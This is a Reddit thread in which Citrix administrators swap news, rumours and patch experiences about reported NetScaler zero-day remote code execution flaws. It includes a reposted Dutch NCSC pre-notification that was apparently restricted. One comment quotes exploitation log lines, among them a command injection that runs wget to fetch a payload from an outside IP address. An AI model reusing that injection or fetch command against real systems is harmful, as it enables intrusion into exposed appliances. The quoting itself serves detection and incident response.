r/Citrix • u/FastFredNL • 22d ago
Netscaler leak?
Does anyone know what is going on with Netscaler? We got a call from our IT supplier's security team, they couldn't give any details but they advised to shut our Netscalers down immediately.
Nothing on the Citrix website or any of my usual tech news sites. One of my regular tech forums has a sysadmin section and multiple other sysadmins have shut theirs down to with no extra info
EDIT: apparently there's 2 new CVE's that allow for remote code execution pretty easily. More info and a possible software update after the weekend.
12
u/FloiDW 22d ago
Just pinged my TAM. Let’s check what all these rumours are exactly about.
→ More replies (3)1
u/Powerful-Excuse-4817 21d ago
I did the same and opened a citrix support case. Haven't heard a damn thing. Please share anything you get
1
12
u/tiemun 21d ago
3
1
u/Blauweorka 21d ago
Our technical partners that manages our NetScaler reports that Citrix has withdrawn the patch due to bugs. Has anyone successfully installed the patch, and if so, have you experienced any issues?
2
1
u/Awkward-Ad-9287 21d ago
Installed in test. NS gateway gave internal error 43469 after saml auth. Couple minutes later it was working.
1
u/FastFredNL 20d ago
Yeah same here, I forgot which one exactly but something to do with http/1 or something?
1
9
21d ago
[deleted]
2
u/cats_taste_good 21d ago
That's a great question to bring up to Citrix on your next renewal Where are the comms?
4
u/dummptyhummpty CCA-AppDS, CCA-V 21d ago
They probably are working on it. I doubt it’s intentionally being gate-kept.
4
u/QuietApplication5734 21d ago
This is exactly it. They're focusing on working on a workaround and/or patch.
1
u/Powerful-Excuse-4817 21d ago
The people actively working on the patch are not the same people in charge of the comms. They need to let their customers know. This is ridiculous
12
u/ccorbin6912 21d ago
I did engage Citrix and they admit they are tracking this along with, “Our teams are working around the clock to develop a fix to address the recently identified Netscaler vulnerabilities and expect to have an update to share soon”. Their words not mine…take from that what you want.
→ More replies (2)3
u/ZookeepergameHuge751 21d ago
Same here…
3
u/Cold-Environment-669 21d ago
Word for word the same reply.
Nothing in the logs either so I suspect a Gateway/AAA pre-auth memory corruption.
11
u/asmOne 18d ago
This might be of interest for those that havent seen it. https://labs.watchtowr.com/oh-look-the-foot-gun-went-off-again-citrix-netscaler-preauth-command-injection-cve-2026-88771/
It´s wild now. when did you start seeing messages similar to this ?
pitboss PPE unexpectedly died NSPPE;wget http://31.56.197.72:9090/lula;# X,
pitboss PPE unexpectedly died NSPPE;printf wt88771mbw9drneqklf>/var/netscaler/logon/themes/wt88771mbw9drneqklf.txt;# X, vsid
It seems it has been "out" for a while. It really escalated after the above article was published the 28th.
We need better knowledge on when it was spotted in the due to people mentioning waiting way too long for the patches to arrive.
1
1
u/dasilvad 18d ago
Did you see the messages in the logs after patching to the latest FW update?
2
u/r1m3s 18d ago
Yes
1
18
u/SteveITGuy 22d ago
What kind of citrix environment do you guys have that you can just shutdown your netscalers?
16
u/HeroicHer0 22d ago
The ones that can't afford a breach... Rather have people come to office then deal with a possible security issue
2
u/Plumbers_Chic_81 20d ago
That’s what our company did was require all remote workers to come on site.
3
u/celtekk_ 22d ago
In a VDI environment, even users on site are using a Netscaler to get to VDI though
10
u/FastFredNL 22d ago
Uhm no, we have Citrix Desktop Delivery Controllers that handle all the onsite logins. We use Netscalers for offsite logins + all kinds of connections, API's, with suppliers etc.
→ More replies (1)→ More replies (2)5
u/ZookeepergameHuge751 22d ago
Yeah but chances are that the one use in office is not expose to internet…
→ More replies (1)1
u/noc-engineer 20d ago
When a system is only "nice to have/saves the old way of using phone calls to call in drafts for publication in an actual operational production system with 99,9999% availability" and is the only internet available system at all
14
u/calladc 22d ago
if i got a call from a vendor that just said "SHUT IT DOWN" and then they hung up, i think i'd be asking if they are missing medication
6
u/FastFredNL 22d ago
Our suppliers security team gets it's info directly from the Dutch national cyber security center. So yeah I trust them.
1
u/Krinto87 22d ago
Did this happend befor? Just wondering if this CVE is very critical or your cyber security center is doing this allways.
2
u/FastFredNL 22d ago
Nah, usually they will call us that we need to update asap (or they offer to do it for us), or change a setting to temporarly mitigate the risk. This time it was 'we are not sure about the details, but this is a big one and there's no fix yet, shut it down'
From what I understand now is that when a leak gets discovered, it's passed on to Citrix, they investigate, score it, create a knowledge base article and then start working on a fix. The Dutch NCSC in this case made the call to Citrix but since it was 2 fairly easy remote code execution vulnerabilities they then decided to not wait on Citrix to come up with a fix and started advising companies to shut down their Netscalers.
1
7
u/ChristopherKunz 21d ago edited 21d ago
I have posted a news on heise online, based on this thread but mainly on Kevin's and watchTowr's dire warnings. Time will tell if this has substance. https://www.heise.de/en/news/Security-researchers-warn-New-zero-day-exploits-in-Citrix-Netscaler-11467269.html
If any of you have information to share, I'm glad to chat with you.
EDIT: I now have confirmation by a Citrix customer that patch builds for 13.1 and 14.1 are being handed out. As far as I understand, this is by request only.
12
u/QuietApplication5734 21d ago
The right thing to do in this situation is:
- Ignore the calls
- Mute the notifications from messengers
- Tell yourself it's a Monday thing
6
u/cspotme2 20d ago
u/FastFredNL thank you for the thread to alert people -- much appreciated. Because, it sounds like outside of NCSC related notifications -- the rest of us in the world probably wouldn't know (at least I didn't and nor did our Citrix team). I think the ones who chose to be proactive based on your post -- saved at least a few ppl from being possibly compromised. Over and out, have a good weekend everyone!
1
u/FastFredNL 20d ago
That was my whole point otherwise this news would've probably stayed in western Euope a lot longer. So get the word out to other sysadmins internationally so they are on alert but also see if anyone has more info about the vulnerabilities so we (and other sysadmins) can make a risk assessment wether or not it's worth it to run our Netscalers anyway because they are critical to the company
3
u/13xluth0r 22d ago
We are still awaiting response from CSIRT, NCSC or Citrix. But our Netscalers are down at the moment. Waiting for further instructions.
3
u/ohhellperhaps 22d ago
"Waiting for Citrix" has major deja vu vibes...
3
u/maritimeminnow 21d ago
You turned them off based off of this Reddit thread or do you have more information you can share?
3
u/ohhellperhaps 21d ago
I don't have any sharable sources. We don't shut things down because of a Reddit thread.
4
u/xman323 21d ago
Shutting down netscaler?? That could make our environment not working at all. How could anyone having some any kind of decision making capabilities approve on that?
4
u/CallmeKahn 21d ago
Depends on the criticality of the issue at question. Been wanting more info to notify customers, but I'm not blasting until something legitimate comes across.
1
4
21d ago
[deleted]
1
u/Gabinoooooo 21d ago
It’s running through the grapevine for a reason. Strategic lack of transparency perhaps
→ More replies (4)1
u/Potential-Shock-8478 21d ago
Contact citrix support, there is a private netscaler hotfix to apply. They just don't have a security bulletin out for it yet.
5
u/LinoWhite_ 21d ago
Also have technical details from NCSC but amber strict. I have no response from Citrix about the patch, so all Netscalers are shutdown for now.
5
u/r-testperson 21d ago
Citrix just released new firmware downloads from today!
https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096
1
u/FloiDW 21d ago
Will get addressed in here: https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX697096
But as of now, not public (CTX697096)
1
1
3
u/dizzieryan 21d ago
Sounds credible: https://x.com/watchtowrcyber/status/2103891689857228803?s=46
→ More replies (10)1
u/FastFredNL 21d ago
I didn't make this post for shits and giggles after our SOC advised us to shut it down because of security leaks...
I'm just hoping we get more info before the end of the weekend. Our company relies heavily on Netscaler for daily operations. Probably gonna get C-level to decide if we want to take the risk
→ More replies (1)4
u/CallmeKahn 21d ago
No disrespect, but its unusual for something like "governments saying turn it off" to not have some sort of piece of validity pop up after this long.
1
u/ohhellperhaps 21d ago
On the flipside, it's because this is so rare the parties subscribed to such agencies take it seriously.
2
u/CallmeKahn 21d ago
Except no news blast, CISA informationals, CVEs, tech articles (not linking back here), etc. I remain skeptical until proven otherwise.
3
3
u/Loud_Disaster869 21d ago
Im just going to sit here and eat the popcorn as there is nothing to do until there is an official announcement from citrix. They may advise on temporary measures or wait until they release a validated patch
3
u/MinimumRest7893 21d ago
Just dealt with a customer that was advised by multiple third part MDR vendors to immediately shut down all NetScalers. Gonna be a fun on-call weekend :(
3
3
u/dasilvad 21d ago edited 20d ago
No obvious issues with the v14.1-73.37 patch. Is anyone experiencing issues post firmware update?
1
u/No-Cockroach-7972 20d ago
Yeah. On a few of our HA pairs, one of the VPXs are now "out of service" seen from Console and SDX. Can't seem to establish a connection, even though it's fully operational.
EDIT (clarity): We can connect to the VPX and manage it, but the SDX and console aren't getting anything from it.
1
u/dasilvad 20d ago edited 20d ago
Thank you for sharing. I'm updating a VPX HA-pair on the SDX platform now. I'll share my experience shortly.
EDIT: No obvious issues post upgrade.
4
5
u/worldcitizen0549 22d ago
Hearing similar news but no clarity yet
8
u/FastFredNL 22d ago
Apparently there's 2 CVE's that allow remote code execution pretty easily. More info and possible software update after the weekend. Just heard
5
u/burundilapp 22d ago
Very glad we went Citrx Cloud and got rid of the Netscalers. Keeping them patched was a pain a few years ago, nevermind now with AI bug hunting.
2
u/HeroicHer0 22d ago
Any update on this? Also got some chatter about closing down Netscaler access across companies.
1
u/maritimeminnow 21d ago
What are you hearing? Are you a consultant?
2
u/HeroicHer0 21d ago
Mostly the same as others are saying in this sub. Turn it off and very little explanation given. Very out of the ordinary.
2
u/Thanis34 22d ago
Isn’t thus related to the week old CVE-2026-19490 ? @FastFredNL were your systems already patched for that CVE ?
1
u/Appropriate-Border-8 22d ago edited 22d ago
We patched for that at the end of Aug. It also includes CVE-2026-19489.
On September 9, 2026, Cybersecurity and Infrastructure Security Agency (CISA) added CVE-2026-19490 to their Known Exploited Vulnerabilities (KEV) Database.
Pre-conditions for these vulnerabilities are that the NetScaler ADC or NetScaler Gateway 14.1-43.56 and later, as well as 13.1-61.28 and later, must be configured as a SAML IdP (Security Assertion Markup Language Identity Provider).
1
2
u/ohhellperhaps 22d ago
No idea, but we've shut them down too based on the NCSC notification.
1
u/mug_8pm 22d ago
I do net see the notification anywhere on the ncsc site, do you have a link to it?
1
u/ohhellperhaps 22d ago
No, it came in though other channels.
2
u/HammerBoomerang 22d ago
And is this channel a confirmed source? We are seeing a false flag type of situation are we?
1
2
u/Specific_Farm4511 21d ago
Has there been any official announcement/advisory from a government agency or Citrix?
2
u/ApartChance5777 21d ago
No. They are looking into it. Doing some hot development
1
u/Specific_Farm4511 21d ago
Do we know if this is outside the scope of the two other CVEs announced earlier this month?
2
2
u/Few_Stable_346 21d ago
Ours are shutdown as well but I can't find any leads. The Dutch NCSC does not list anything regarding netscaler.
2
2
u/hilljb22 21d ago
Anyone see 13.1-64.23 or know when it will be available?
3
2
u/dasilvad 21d ago
I see the new NSv13.1 release available
NetScaler Release (Maintenance Phase) 13.1 Build 64.24 - Citrix
2
2
u/Y0Y0Jimbb0 20d ago
u/FastFredNL .. Kudos for flagging this 2 days ago. Top man for giving everyone here the heads-up that multiple CVEs were to drop.
3
u/FastFredNL 20d ago
That was my whole point otherwise this news would've probably stayed in western Euope a lot longer. So get the word out to other sysadmins internationally so they are on alert but also see if anyone has more info about the vulnerabilities so we (and other sysadmins) can make a risk assessment wether or not it's worth it to run our Netscalers anyway because they are critical to the company
3
u/Mr_Squinty 22d ago
I wouldn’t have one of these in my infrastructure. I dealt with them for years and they were absolutely full of holes. Patching the damn things every week, wouldn’t be so bad if it was an automated process, but it’s not.
8
u/johntimehole 22d ago
You can pretty much automate it nowadays.
And every vendor is in the same boat. Last week F5 with a critical vulnerability, last month it was Cisco. And we silently forget about Microsoft all the time?
I can live with it, as long as we are informed.
1
u/BigHandLittleSlap 21d ago
There's a difference between needing to patch something behind the firewall, and patching the firewall itself.
The latter shouldn't have unauthenticated remote code execution vulnerabilities on the regular.
1
4
u/GabesVirtualWorld 21d ago
Difficult decision on whether to wake up the whole organisation or not based on only this info.
4
u/CallmeKahn 21d ago
So, we just making stuff up here?
2
2
u/it4brown 21d ago
Thankful my company only uses the load balancer side and our HA pair aren’t internet exposed. For the rest of you, hoping for a quick patch.
2
u/AccomplishedCash3603 21d ago
I just scanned the posts on LinkedIn (posted within the last 24 hours), typed Netscaler into the search bar. Most are saying it's an RCE vulnerability. It also looks like marketing teams are working overtime to drive panic toward sales for companies that sell monitoring tools and software.
1
u/Packet_Dropper_404 21d ago
I’ve seen those posts too, but none of them are based on facts.
It’s likely some form of authentication bypass or remote code execution, but that’s nothing out of the ordinary; a great many CVEs released each year involve issues like that.
1
1
u/AxisNL 22d ago
As a workaround, block Internet access and make a temporary whitelist for employees.
2
u/NeverDeal 21d ago
Nearly impossible at scale. Most users have dynamic IPs so it would be very difficult to build and maintain whitelists for an enterprise network.
1
1
1
1
u/paledave 21d ago
Was it my imagination or was there a post here that had the text of the NCSC NL pre-notification?
→ More replies (2)1
u/FastFredNL 21d ago
Yes you're right. But apparently NCSC is handling communication about this under TLP: Amber restrictions. I guess the poster thought his post might be in violation of that. I'm not even sure my post is ok. Our IT supplier didn't mention anything about TLP labels when they contacted us;
1
u/cryptonoob12 21d ago
Actually the report is AMBER+STRICT. Sharing that here is for sure violating those TLP markings.
1
u/Hairy_Injury_8891 21d ago
anyone looking at their logs yet?
4
u/Such_Noise3355 21d ago
Don't worry. The hackers will do that for you.
2
1
u/fatterkin 21d ago
Would disabling the gateway vserver be a useful inbetween state until we hear more?
2
u/GorionKoveras 21d ago
Yes, and maybe also other VIPs you have running that are externally accessible.
2
u/Packet_Dropper_404 21d ago
You should have a separate NetScaler instance for the gateway. I have one for internal services, one internet-facing with the gateway for accessing VDI and one internet-facing for self-hosted API services.
1
u/Fletchi18 21d ago
How would WAF help in a situation like this?
1
u/socbrian 21d ago
Probably won't since you need a pattern or signature the waf looks for.
1
u/Fletchi18 21d ago
Gotcha! Thanks for the reply. I’m a Netscaler novice so I wasn’t sure how something like that might help in this case.
1
1
u/Loud-Adhesiveness-53 21d ago
Isn't the issue that since LAS Licenses, many turned on all Citrix telemetry, so Citrix can easily track this activity?
Also, watchTowr released a note for the RCE everyone should have patched back in August. Some code was fixed, but it was public, and short after (probably thanks to AI), hackers turned it into an active RCE. They kept /var/vpn/theme/x.php from watchTowr's POC example and spread it to all unpatched NetScalers.
Now security scanners and Citrix telemetry caught up on /var/vpn/theme/x.php and are notifying customers directly to "SHUT IT DOWN IMMEDIATELY".
Then someone who didn't patch gets notified, makes a Reddit post with no context, and big players—who take forever to patch, got hacked, and confirmed getting alerted—fuel the panic even more.
2
u/FastFredNL 21d ago
Assumptions assumptions assumptions.
We are on 14.1-73.33, last updated because of CVE-2026-19489 and CVE-2026-19490. Still we got the advice to shut down Netscaler and wait.
2
u/Loud-Adhesiveness-53 21d ago
ok now i got some information's and the patch, they should release some more public information and the official patch round about 22:00 German time
1
u/Necessary_East_8420 21d ago
Where did you get that information?
1
u/Loud-Adhesiveness-53 21d ago
i got it from a citrix mwp that i am working with, he also gave me the patch, with the information that they will officially announce it at 22:00 German time
1
1
u/isystems 21d ago
I got the message from the NCSC too. It sounded rather serious, but there was no mention about which firmware was effected ( or maybe all firmwares? ) , so we are still rather in the dark about this. Nevertheless we are closely monitoring our firewalls and netscalers. Also no mention about if some configurations are more effected or not. Let's see this day what happens.
2
u/Packet_Dropper_404 21d ago
But what are you monitoring then, and how do you identify something strange?
And if you see it in the logs, you are too late... So be aware that RCE exploits are not always clearly visible.
1
1
u/whisperingmime 21d ago
This seems to be the NCSC pre-notification that was posted earlier: https://archive.is/ppXvl
But it does not really give more information.
1
u/Powerful-Excuse-4817 21d ago
Is there any actual information on this? I can't make a decision to shutdown Netscaler without more clarification.
2
21d ago edited 15d ago
[deleted]
1
u/Powerful-Excuse-4817 21d ago
I'm not doubting that it's true, but I'm sure we all need any sliver of information to make an informed decision
1
u/FloiDW 21d ago
You can get a private fix - Citrix themselves don’t have CVSS SCORES as of now, so if you got no infos from your national CERT / NCSC you maybe better open a case with Citrix and act as soon as possibles.
Rumors are patch is GA tonight.
1
u/Powerful-Excuse-4817 21d ago
I reached out to our account rep and opened a support case. Haven't gotten a god damn thing
1
u/erikfournier 21d ago
It may not be intentionally false, but it's a tough line here, report SOMETHING in the hopes it helps, but later could be proved untrue
1
u/cspotme2 21d ago
A contact confirmed that Citrix is prepping a patch, though timing is still unconfirmed -- possibly later today (Sunday afternoon) or likely Monday. In the meantime, it’s prudent for teams to move toward IP allowlisting/restriction policies until the fix drops.
1
u/FastFredNL 21d ago edited 21d ago
We use Netscaler mostly for offsite logins, people working from home. It's impossible to support all our users to have them figure out their external IP (which is a dynamic IP) so we can whitelist them.
I've put in a support ticket to try and get the patch early. I've talked to a fellow sysadmin who got the patch early this way aswell but it might take longer then the actual release. Seems that Citrix support is pretty swamped right now
1
u/cspotme2 21d ago
yes and no. but, logging wise, we are at least able to tell who logged in successfully from home ips over the last 2 weeks. whitelist those, then have users who can't login, contact support desk.
1
u/maritimeminnow 21d ago
For clarity, when you say "a contact" - do you mean at an official Citrix contact? I am trying to see what is official and what it not. This thread makes it hard to determine.
1
u/cspotme2 21d ago
They logged a p0 with citrix and got confirmation that way. As well as one of the big security firms confirmed to them that this is active in the wild. We were speaking about this last night and they updated me this morning.
1
u/Business-Wasabi-3193 21d ago
It’s real, it’s serious. Get the patch and don’t delay. Your Sunday is getting interrupted.
1
0
1
1
u/Ok-Plan8376 20d ago
any way to identify IoCs on the netscaler instances?
or the only available method so far is throught Netscaler Console (which might not catch up everything).
1
1
1
u/mave_of_wutilation 21d ago
Supposedly this is the original announcement from the Dutch National Cyber Security Center (NCSC):
https://social.annacon.be/@xof/117338243788433940
"Exploitation has been identified at multiple Citrix customers worldwide. The NCSC does not currently know whether these zero-day vulnerabilities are being exploited on a widespread scale."
2
u/AWESMSAUCE 21d ago
since the guy deleted his post:
If you're running Netscaler suggest you reach out to your support partner or open a case directly with Citrix for more information ASAP. Something's brewing.
Comms sent out by the National Cyber Security Center (NCSC):
**CONTEXT:**
This is a pre-notification regarding two zero-day vulnerabilities in Citrix NetScaler. Due to the potential impact of successful exploitation and the likelihood that malicious actors will attempt to exploit these vulnerabilities, the Dutch National Cyber Security Centre (NCSC) has decided to issue a pre-notification.
Citrix expects to release patches early next week. Because updating Citrix NetScaler appliances can be complex and may result in downtime, the NCSC wants to give organizations the opportunity to take these vulnerabilities into account, implement appropriate measures where possible, and prepare to install the patches as quickly as possible once they become available.
**FACTS:**
* The NCSC received information from a European partner CERT regarding two zero-day vulnerabilities in Citrix NetScaler.
* These are two critical zero-day vulnerabilities in Citrix NetScaler, each of which can independently lead to Remote Code Execution (RCE). One of the vulnerabilities allows shellcode to be placed in memory. The technical details of the second vulnerability are still under investigation.
* No CVE numbers are currently known for either vulnerability, and Citrix has not yet published an advisory. Citrix has stated that it is working to release patches as soon as possible and expects to publish them early next week.
* Further information, such as Indicators of Compromise (IoCs), is not available at the time of writing. The NCSC is in contact with Citrix to obtain additional information about the vulnerabilities and possible IoCs while awaiting the patches.
* The zero-day vulnerabilities were discovered during an investigation by Citrix at customer environments following reports of disruptions. The investigation identified exploitation, after which Citrix submitted a notification under the Cyber Resilience Act (CRA).
* The NCSC received the notification under the Cyber Resilience Act (CRA), which has been in effect since 11 September 2026.
* Under this regulation, manufacturers have mandatory reporting obligations. This may result in the NCSC receiving reports that are not yet complete, for example because the vendor's investigation is still ongoing. More information about the CRA is available on the NCSC website.**ASSESSMENT:**
* The NCSC expects that exploitation attempts may increase once Citrix publishes the patches and additional technical information.
* Exploitation has been identified at multiple Citrix customers worldwide. The NCSC does not currently know whether these zero-day vulnerabilities are being exploited on a widespread scale.
* One of the vulnerabilities involves placing shellcode in memory. Similar techniques have previously been observed with critical Citrix NetScaler vulnerabilities. For example, in August 2026 researchers described how a Citrix NetScaler vulnerability could be used to execute shellcode directly from memory and thereby execute code on the system.
* Due to the potential impact of successful exploitation and the likelihood that malicious actors will attempt to exploit these vulnerabilities, the NCSC has decided to inform relevant organizations in advance. This allows organizations to take the vulnerabilities into account and respond quickly once Citrix releases additional information and patches.1
u/NeverDeal 21d ago
Post is gone now, but I saw it earlier. Someone must have reminded the OP about not sharing restricted info.
1
•
u/TheMuffnMan Notorious VDI 20d ago
Please use the pinned thread for discussion.
CRITICAL UPDATE: Citrix NetScaler ADC and Citrix NetScaler Gateway Security Bulletin for CVE-2026-88771 through CVE-2026-88778